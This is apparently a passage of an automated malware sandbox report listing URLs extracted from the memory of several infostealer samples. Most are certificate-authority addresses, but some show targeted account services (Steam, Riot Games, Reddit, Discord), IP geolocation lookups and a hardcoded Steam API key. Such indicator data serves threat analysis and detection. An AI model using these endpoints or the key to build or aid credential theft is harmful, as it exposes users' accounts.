Source: stub.exe, 00000023.00000003.3718897767.0000022F66F4F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718746787.0000022F66F42000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718319749.0000022F66F1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718958593.0000022F66F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: stub.exe, 00000023.00000003.3718897767.0000022F66F4F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718746787.0000022F66F42000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718319749.0000022F66F1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crlLL
Source: legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.aiohttp.org/en/stable/logging.html#format-specification
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.aiohttp.org/en/stable/logging.html#format-specificationauvloopaset_event_loop_policyaEve
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3733765992.0000022F668D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://httpbin.org/post
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/jsonacityatimezoneaispaorgaasuMain.GetNetworkInfoT
Source: stub.exe, 00000023.00000002.3731231949.0000022F662BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://json.org
Source: stub.exe, 00000023.00000003.3720567343.0000022F677C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: stub.exe, 00000023.00000002.3738579895.0000022F66FFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://python.org
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3724635156.0000022F641CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://python.org/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://python.org:80
Source: stub.exe, 00000023.00000003.3717683778.0000022F66E82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://speleotrove.com/decimal/decarith.html
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3888248745.0000000001002000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3888705845.0000000001002000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821251182.000000000100C000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3922478253.000000000100E000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3891018668.0000000001002000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3921231774.000000000100C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: stub.exe, 00000023.00000003.3720567343.0000022F677C8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3738579895.0000022F66FFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: stub.exe, 00000023.00000002.3738579895.0000022F66FFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: stub.exe, 00000023.00000003.3719007399.0000022F66F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: stub.exe, 00000023.00000002.3738579895.0000022F66FFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: stub.exe, 00000023.00000003.3719007399.0000022F66F03000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3738579895.0000022F66FFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: stub.exe, 00000023.00000003.3718319749.0000022F66F1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718958593.0000022F66F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: stub.exe, 00000023.00000003.3720504087.0000022F66F2F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718319749.0000022F66F1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718958593.0000022F66F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: stealc_default2.exe, stealc_default2.exe, 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: stealc_default2.exe, 00000014.00000002.3333066409.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3314286377.000000001B244000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: stealc_default2.exe, 00000014.00000003.3099834403.000000000100D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098255849.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3097836375.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098426810.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822894869.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822474397.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821928944.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.riotgames.com/api/account/v1/user
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.riotgames.com/api/account/v1/userT
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.reddit.com/api/access_token
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.reddit.com/api/access_tokenaaccess_tokenuandroid:com.example.myredditapp:v1.2.3uBea
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F9
Source: v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: stealc_default2.exe, 00000014.00000002.3322120642.00000000272C2000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3179663648.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915132366.0000000003752000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914814392.0000000003750000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914624831.000000000374D000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914458166.0000000003743000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915320012.0000000003756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: stealc_default2.exe, 00000014.00000002.3322120642.00000000272C2000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3179663648.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915132366.0000000003752000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914814392.0000000003750000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914624831.000000000374D000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914458166.0000000003743000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915320012.0000000003756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue37179
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/u.pngu.gifuunsupported
Source: stealc_default2.exe, 00000014.00000003.3099834403.000000000100D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098255849.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3097836375.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098426810.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822894869.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822474397.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821928944.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
